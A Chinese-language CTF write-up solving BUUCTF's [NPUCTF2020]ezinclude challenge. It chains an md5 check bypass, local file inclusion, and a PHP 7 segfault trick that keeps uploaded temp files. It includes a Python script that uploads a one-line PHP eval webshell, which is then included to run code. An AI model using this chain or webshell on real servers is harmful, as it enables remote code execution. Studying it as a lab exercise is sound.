BUUCTF-WEB [NPUCTF2020]ezinclude 1

考点&知识点

md5($secret.$name)===$pass绕过

文件包含(php://filter/string.strip_tags/resource=文件)

php7文件上传时Segment Fault,上传的临时文件不会被删除

解题过程

打开

image-20211020142507785

源代码中发现

1
<!--md5($secret.$name)===$pass -->

这段代码暗示了$secret和$name 的拼接后的字符进行md5加密后的值等于$pass。

这里看师傅们的博客说是经典脑洞。这里的$secret就为Cookiehash的明文,如果要让上面这个条件成立。

$name 可以为空,然后$pass传入 $secret的hash值,这个hash值就在返回头当中。

1
http://8c8e609f-51ac-48b8-82ea-0f19cc24e3ea.node4.buuoj.cn:81/?name=&pass=fa25e54758d5d5c1927781a6ede89f8a

image-20211020143409670

这里返回的代码中会跳转到flflflflag.php,实际访问的时候会跳转到404.html。这里的操作只能在burp中完成。

访问flflflflag.php

image-20211020143651750

从返回的代码当中,发现include($_GET['file]),推测是文件包含,对/etc/passwd包含进行尝试。

image-20211020143845474

验证成功,确实是文件包含,到这里有两种方式可以拿shell,一种是使用data协议,一种是包含日志文件。可惜尝试了包含日志没有回显。无奈之下,看了师傅的博客,发现还有第三种姿势,原理就是,使用php://filter/string.strip_tags/resource=文件让php陷入死循环,产生Segment Fault,如果出现Segment Fault,上传的临时文件就不会被删除,接下来就可以通过,上传一句话,然后将临时文件包含出来,getshell。这个过程需要同时完成,所有这里需要用python脚本一把梭。第三种方式这个大佬讲得更详细些

https://www.cnblogs.com/R3col/p/14929237.html

接下来直接贴脚本

1
2
3
4
5
6
7
8
import requests
from io import BytesIO

url = "http://8c8e609f-51ac-48b8-82ea-0f19cc24e3ea.node4.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
payload = "<?php eval($_POST['cmd']);?>"
file_data = {"file": BytesIO(payload.encode())}
res = requests.post(url=url,files=file_data, allow_redirects=False)
print(res)

这里可能会报错,多尝试几次就好了。页面会返回404,但是不影响,其实文件已经上传到临时目录下去了。

这里访问dir.php,这里的文件名怎么知道的,扫目录扫出来的。这个文件的功能就是显示临时目录下的文件。

image-20211020145227246

这里可以发现已经上传成功。接下来通过文件包含包含出来。

输出phpinfo

image-20211020145551653

从返回的代码当中就可以知道,执行成功。其实flag就藏在了输出信息当中。

image-20211020145713280

到这里也可以直接用蚁剑去连接,但是需要绕过disable_funcitons,不过使用蚁剑,这还不简单吗?

总结

每一题都能学到新知识点,很不错。